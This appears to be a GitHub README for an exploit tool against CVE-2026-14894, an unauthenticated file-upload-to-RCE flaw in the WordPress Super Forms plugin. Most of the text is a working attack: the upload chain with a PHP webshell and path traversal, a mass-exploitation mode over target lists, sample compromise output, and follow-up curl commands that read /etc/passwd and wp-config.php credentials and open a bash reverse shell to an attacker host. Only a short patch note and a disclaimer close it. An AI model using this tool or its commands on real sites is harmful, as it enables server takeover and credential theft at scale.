1beelze/cve-2026-14894Exploit for CVE-2026-14894, an unauthenticated file upload to RCE in WordPress Super Forms ≤ 6.3.313. Uploads PHP webshell and supports single-target or mass exploitation.
Unauthenticated Arbitrary File Upload → Remote Code Execution in the WordPress plugin Super Forms versions ≤ 6.3.313.
The vulnerability resides in the AJAX handler super_submit_form which processes file uploads through a field without validating the file extension or MIME type before writing to disk. An unauthenticated attacker can upload a PHP webshell and achieve full Remote Code Execution on the target server.
datauristring| Field | Detail |
|---|---|
| CVE ID | CVE-2026-14894 |
| Plugin | Super Forms (WordPress) |
| Affected | ≤ 6.3.313 |
| Patched | 6.3.314 (forces .pdf extension + realpath containment) |
| CVSS | 9.8 Critical |
| Auth Required | None |
| Researcher | andrea bocchetti |
| AJAX Action | super_submit_form |
| Sink | datauristring field → class-ajax.php:2762–2766 |
| Upload Path | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
[1] Mint nonce (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] Upload PHP shell via datauristring (unauthenticated)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── Path Traversal → /wp-content/themes/<theme>/shell.php ← primary
│ (always exec)
│
└── Random folder → /wp-content/uploads/superforms/... ← fallback
(exec depends on server policy)
│
▼
[3] Shell Discovery
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media search (unauth)
├── S2: Apache/nginx directory listing
└── S3: WP sitemap attachment XML
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
Unauthenticated File Upload → Remote Code Execution
Researcher: andrea bocchetti | PoC: Beelze
1 Single target
2 Mass targets (file)
Mode (1/2): 1
Target URL : https://target.com
Form ID (enter=auto) : ← leave blank = auto-discover
Shell name (enter=random): ← leave blank = random name
Shell file (enter=built-in): ← leave blank = built-in shell
WP user (optional/REST) : ← optional, improves discovery
WP pass (optional/REST) : ← optional
Expected output on success:
──────────────────────────────────────────────────────────────
TARGET https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 vulnerable ≤6.3.313
[1/3] Mint nonce ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] Upload [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] Shell discovery ................ ✔ FOUND → RCE [path traversal → theme]
╔══════════════════════════════════════════════════════════════╗
║ ✓ PWNED → RCE CONFIRMED ║
║ ║
║ Shell » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
Mode (1/2): 2
Targets file : targets.txt ← one URL per line, # = comment
Form ID (enter=auto) :
Threads (enter=5) : 10
Shell file (enter=built-in):
WP user (optional/REST) :
WP pass (optional/REST) :
targets.txt format:
# Bug bounty scope
https://site1.com
https://site2.com
https://site3.com
Mass scan output:
══════════════════════════════════════════════════════════════
MASS SCAN 3 targets threads=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... WRITE no exec
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... FAIL plugin inactive / blocked
══════════════════════════════════════════════════════════════
SUMMARY 1 RCE 1 WRITE_ONLY 0 MAYBE / 3 total
══════════════════════════════════════════════════════════════
RCE SHELLS:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
You can supply your own shell file instead of the built-in webshell:
Shell file (enter=built-in): /path/to/myshell.php
The tool will upload your file and treat any 200 response with a non-empty body as RCE confirmation.
After obtaining RCE, interact with the shell:
# Command execution
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# Read WordPress config (creds, DB)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# Reverse shell
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
Results are automatically saved to:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| Status | Meaning |
|---|---|
RCE | PHP shell confirmed executing — full remote code execution |
WRITE_ONLY | File written but PHP not executed (engine off / .htaccess deny) |
POSSIBLE_WRITE | Upload returned success but shell URL could not be resolved |
FAIL | Plugin inactive, nonce failed, or patched version detected |
Update Super Forms to ≥ 6.3.314. The patch enforces .pdf-only extension in datauristring uploads and adds realpath() containment to prevent path traversal.
This tool is intended for authorized penetration testing, bug bounty research, and educational purposes only.
Do not use against systems you do not have explicit written permission to test.
The author is not responsible for any misuse or damage caused by this tool.
CVE-2026-14894 · Super Forms ≤ 6.3.313 · Unauth File Upload RCE
Researcher: andrea bocchetti · PoC: Beelze